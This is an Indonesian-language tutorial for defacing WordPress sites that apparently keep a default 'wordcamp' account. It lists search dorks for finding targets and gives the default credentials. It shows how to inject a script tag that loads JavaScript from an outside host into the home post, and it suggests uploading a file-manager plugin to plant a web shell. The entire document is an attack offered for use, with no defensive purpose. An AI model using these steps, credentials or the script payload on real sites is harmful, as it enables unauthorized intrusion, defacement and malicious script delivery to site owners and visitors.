Cara Deface Poc Wordcamp with JSO

Bahan-bahan

-Dork: 

( uncategorized/wordcamp ) site: .com

("By Wordcamp") Site:.com

-----Kembangkan lagi Dork nya-----

-Default user/pass wordcamp

Username:wordcamp

Password: z43218765z

-Sc Jso <script type="text/javascript" src="http://depescuy.6te.net/test.js"></script> (Bagi yang belum punya jso nya bisa diliat cara buat nya disini)

Ok langsung aja!

Yang pertama kalian dorking dulu site nya

Search Browser Dork nya

Kemudian pilih target dan masukan user/pw defaultnya yaitu user:wordcamp pw:z43218765z

Setelah itu pilih post

Kemudian pilih salah satu postingan

Biasanya hello world adalah home page

Pilih hello world atau halo dunia

Lalu kalian pilih yang titik 3 di pojok kanan atas, kemudian pilih code editor atau Penyunting Kode

Kemudian kalian masukan sc jso nya di bawah wp-paragraph lalu kalian perbarui

Setelah itu kalian pilih icon home

Dan boom!

Dan untuk metode ini sebenernya kalian bisa tebas dan upshell ke website nya, namun tergantung juga kebanyakan website akun wordcamp hanya bisa post saja.

Tetapi jika didalam akun admin wordcamp ini terdapat plugin, kalian bisa up plugin filemanager, dan bisa upshell serta tebas indexnya, kalo memang tidak bisa up plugin kalian bisa gunakan cara ini.

Dan tidak semua akun wordcamp ini user/pass nya default, jika adminnya ganti userpass, kalian tidak bisa menggunakan metode ini!

Sekian itu saja tutorial nya

Terimkasih!